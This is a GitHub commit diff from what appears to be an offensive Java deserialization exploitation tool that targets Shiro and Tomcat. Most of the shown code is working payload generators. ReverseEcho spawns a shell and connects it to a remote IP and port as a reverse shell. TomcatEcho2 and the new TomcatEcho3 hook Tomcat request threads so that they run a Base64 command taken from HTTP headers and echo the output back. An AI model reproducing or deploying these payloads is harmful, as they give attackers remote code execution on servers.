Skip to content

Commit d4f5dff

Browse files
committed
🐛 fix #37
1 parent 81ef650 commit d4f5dff

File tree

8 files changed

+129
-1
lines changed

8 files changed

+129
-1
lines changed

src/main/java/com/summersec/attack/deser/echo/AllEcho.java

+7-1
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55
import com.summersec.attack.deser.util.Gadgets;
66
import javassist.*;
77

8+
import java.io.*;
9+
810

911
public class AllEcho implements EchoPayload {
1012

@@ -101,14 +103,18 @@ public CtClass genPayload(ClassPool pool) throws Exception {
101103
" );}");
102104

103105
clazz.addConstructor(CtNewConstructor.make("public dfs(){ r = null; p = null; h =new java.util.HashSet/*<Object>*/(); F(Thread.currentThread(),0); }",clazz));
104-
106+
// 兼容低版本jdk
107+
clazz.getClassFile().setMajorVersion(50);
105108

106109
return clazz;
107110
}
108111

109112
public static void main(String[] args) throws Exception {
110113
// String echoOpt;
111114
Object template = Gadgets.createTemplatesImpl("AllEcho");
115+
116+
117+
112118
}
113119

114120
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
package com.summersec.attack.deser.echo;
2+
3+
/**
4+
* @ClassName: DFSEcho
5+
* @Description: TODO
6+
* @Author: Summer
7+
* @Date: 2023/4/29 0:49
8+
* @Version: v1.0.0
9+
* @Description:
10+
**/
11+
public class DFSEcho {
12+
}

src/main/java/com/summersec/attack/deser/echo/ReverseEcho.java

+3
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,9 @@ public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompil
2626
}
2727

2828
clazz.addConstructor(CtNewConstructor.make("public ReverseEcho() throws Exception {\n try {\n String ip = \"1.1.1.1\";\n String port = \"2333\";\n String py_path = null;\n String[] cmd;\n if (!System.getProperty(\"os.name\").toLowerCase().contains(\"windows\")) {\n String[] py_envs = new String[]{\"/bin/python\", \"/bin/python3\", \"/usr/bin/python\", \"/usr/bin/python3\", \"/usr/local/bin/python\", \"/usr/local/bin/python3\"};\n for (int i = 0; i < py_envs.length; ++i) {\n String py = py_envs[i];\n if ((new java.io.File(py)).exists()) {\n py_path = py;\n break;\n }\n }\n if (py_path != null) {\n if ((new java.io.File(\"/bin/bash\")).exists()) {\n cmd = new String[]{py_path, \"-c\", \"import pty;pty.spawn(\\\"/bin/bash\\\")\"};\n } else {\n cmd = new String[]{py_path, \"-c\", \"import pty;pty.spawn(\\\"/bin/sh\\\")\"};\n }\n } else {\n if ((new java.io.File(\"/bin/bash\")).exists()) {\n cmd = new String[]{\"/bin/bash\"};\n } else {\n cmd = new String[]{\"/bin/sh\"};\n }\n }\n } else {\n cmd = new String[]{\"cmd.exe\"};\n }\n Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();\n java.net.Socket s = new java.net.Socket(ip, Integer.parseInt(port));\n java.io.InputStream pi = p.getInputStream();\n java.io.InputStream pe = p.getErrorStream();\n java.io.InputStream si = s.getInputStream();\n java.io.OutputStream po = p.getOutputStream();\n java.io.OutputStream so = s.getOutputStream();\n while (!s.isClosed()) {\n while (pi.available() > 0) {\n so.write(pi.read());\n }\n while (pe.available() > 0) {\n so.write(pe.read());\n }\n while (si.available() > 0) {\n po.write(si.read());\n }\n so.flush();\n po.flush();\n Thread.sleep(50L);\n try {\n p.exitValue();\n break;\n } catch (Exception e) {\n }\n }\n p.destroy();\n s.close();\n } catch (Throwable e) {\n e.printStackTrace();\n }\n }", clazz));
29+
// 兼容低版本jdk
30+
clazz.getClassFile().setMajorVersion(50);
31+
2932
return clazz;
3033
}
3134
}

src/main/java/com/summersec/attack/deser/echo/SpringEcho.java

+3
Original file line numberDiff line numberDiff line change
@@ -40,6 +40,9 @@ public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompil
4040
" e.getStackTrace();\n" +
4141
" }\n" +
4242
" }", clazz));
43+
44+
// 兼容低版本jdk
45+
clazz.getClassFile().setMajorVersion(50);
4346
return clazz;
4447
}
4548
}

src/main/java/com/summersec/attack/deser/echo/TomcatEcho.java

+2
Original file line numberDiff line numberDiff line change
@@ -103,6 +103,8 @@ public CtClass genPayload(final ClassPool pool) throws CannotCompileException, N
103103
" }\n" +
104104
" }",clazz));
105105

106+
// 兼容低版本jdk
107+
clazz.getClassFile().setMajorVersion(50);
106108
return clazz;
107109
}
108110
}

src/main/java/com/summersec/attack/deser/echo/TomcatEcho2.java

+2
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,8 @@ public CtClass genPayload(final ClassPool pool) throws CannotCompileException, N
1414
clazz.addMethod(CtMethod.make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n byte[] bs = (\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \"$$$\").getBytes();\n Object var2;\n Class var3;\n try {\n var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n var2 = var3.newInstance();\n var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (ClassNotFoundException var5) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (NoSuchMethodException var6) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n }\n\n}", clazz));
1515
clazz.addMethod(CtMethod.make(" private static Object getFV(Object var0, String var1) throws Exception {\n java.lang.reflect.Field var2 = null;\n Class var3 = var0.getClass();\n\n while(var3 != Object.class) {\n try {\n var2 = var3.getDeclaredField(var1);\n break;\n } catch (NoSuchFieldException var5) {\n var3 = var3.getSuperclass();\n }\n }\n\n if (var2 == null) {\n throw new NoSuchFieldException(var1);\n } else {\n var2.setAccessible(true);\n return var2.get(var0);\n }\n }", clazz));
1616
clazz.addConstructor(CtNewConstructor.make(" public TomcatEcho() throws Exception {\n boolean var4 = false;\n Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n\n for (int var6 = 0; var6 < var5.length; ++var6) {\n Thread var7 = var5[var6];\n if (var7 != null) {\n String var3 = var7.getName();\n if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n Object var1 = getFV(var7, \"target\");\n if (var1 instanceof Runnable) {\n try {\n var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception var13) {\n continue;\n }\n\n java.util.List var9 = (java.util.List) getFV(var1, \"processors\");\n\n for(int var10 = 0; var10 < var9.size(); ++var10) {\n Object var11 = var9.get(var10);\n var1 = getFV(var11, \"req\");\n Object var2 = var1.getClass().getMethod(\"getResponse\",new Class[0]).invoke(var1, new Object[0]);\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Ctmd\")});\n if (var3 != null && !var3.isEmpty()) {\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"techo\"), var3});\n var4 = true;\n }\n\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"c\")});\n if (var3 != null && !var3.isEmpty()) {\n var3 = org.apache.shiro.codec.Base64.decodeToString(var3);\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n var4 = true;\n }\n\n if (var4) {\n break;\n }\n }\n\n if (var4) {\n break;\n }\n }\n }\n }\n }\n}", clazz));
17+
// 兼容低版本jdk
18+
clazz.getClassFile().setMajorVersion(50);
1719
return clazz;
1820
}
1921
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
package com.summersec.attack.deser.echo;
2+
3+
public class TomcatEcho3 {
4+
public TomcatEcho3() throws Exception {
5+
boolean var4 = false;
6+
Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
7+
8+
for (int var6 = 0; var6 < var5.length; ++var6) {
9+
Thread var7 = var5[var6];
10+
if (var7 != null) {
11+
String var3 = var7.getName();
12+
if (!var3.contains("exec") && var3.contains("http")) {
13+
Object var1 = getFV(var7, "target");
14+
if (var1 instanceof Runnable) {
15+
try {
16+
var1 = getFV(getFV(getFV(var1, "this$0"), "handler"), "global");
17+
} catch (Exception var13) {
18+
continue;
19+
}
20+
21+
java.util.List var9 = (java.util.List) getFV(var1, "processors");
22+
23+
for(int var10 = 0; var10 < var9.size(); ++var10) {
24+
Object var11 = var9.get(var10);
25+
var1 = getFV(var11, "req");
26+
Object var2 = var1.getClass().getMethod("getResponse",new Class[0]).invoke(var1, new Object[0]);
27+
var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{new String("Host")});
28+
if (var3 != null && !var3.isEmpty()) {
29+
var2.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});
30+
var2.getClass().getMethod("addHeader", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String("Host"), var3});
31+
var4 = true;
32+
}
33+
34+
var3 = (String)var1.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(var1, new Object[]{new String("Authorization")});
35+
if (var3 != null && !var3.isEmpty()) {
36+
var3 = decodeToString(var3.replaceAll("Basic ", ""));
37+
String[] var12 = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", var3} : new String[]{"/bin/sh", "-c", var3};
38+
writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
39+
var4 = true;
40+
}
41+
42+
if (var4) {
43+
break;
44+
}
45+
}
46+
47+
if (var4) {
48+
break;
49+
}
50+
}
51+
}
52+
}
53+
}
54+
}
55+
private static void writeBody(Object var0, byte[] var1) throws Exception {
56+
byte[] bs = ("$$$" + encodeToString(var1) + "$$$").getBytes();
57+
Object var2;
58+
Class var3;
59+
try {
60+
var3 = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
61+
var2 = var3.newInstance();
62+
var3.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});
63+
var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});
64+
} catch (Exception var5) {
65+
var3 = Class.forName("java.nio.ByteBuffer");
66+
var2 = var3.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});
67+
var0.getClass().getMethod("doWrite", new Class[]{var3}).invoke(var0, new Object[]{var2});
68+
}
69+
}
70+
71+
private static Object getFV(Object var0, String var1) throws Exception {
72+
73+
java.lang.reflect.Field var2 = null;
74+
Class var3 = var0.getClass();
75+
76+
while(var3 != Object.class) {
77+
try {
78+
var2 = var3.getDeclaredField(var1);
79+
break;
80+
} catch (NoSuchFieldException var5) {
81+
var3 = var3.getSuperclass();
82+
}
83+
}
84+
85+
if (var2 == null) {
86+
throw new NoSuchFieldException(var1);
87+
} else {
88+
var2.setAccessible(true);
89+
return var2.get(var0);
90+
}
91+
}
92+
public static String encodeToString(byte[] rawBytes) {
93+
94+
return java.util.Base64.getEncoder().encodeToString(rawBytes);
95+
}
96+
public static String decodeToString(String base64) {
97+
return new String(java.util.Base64.getDecoder().decode(base64));
98+
}
99+
}

src/main/java/com/summersec/attack/deser/util/Gadgets.java

+1
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
1111
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
1212

13+
import java.io.ByteArrayOutputStream;
1314
import java.io.File;
1415
import java.io.FileOutputStream;
1516
import java.lang.reflect.Array;

0 commit comments

Comments
 (0)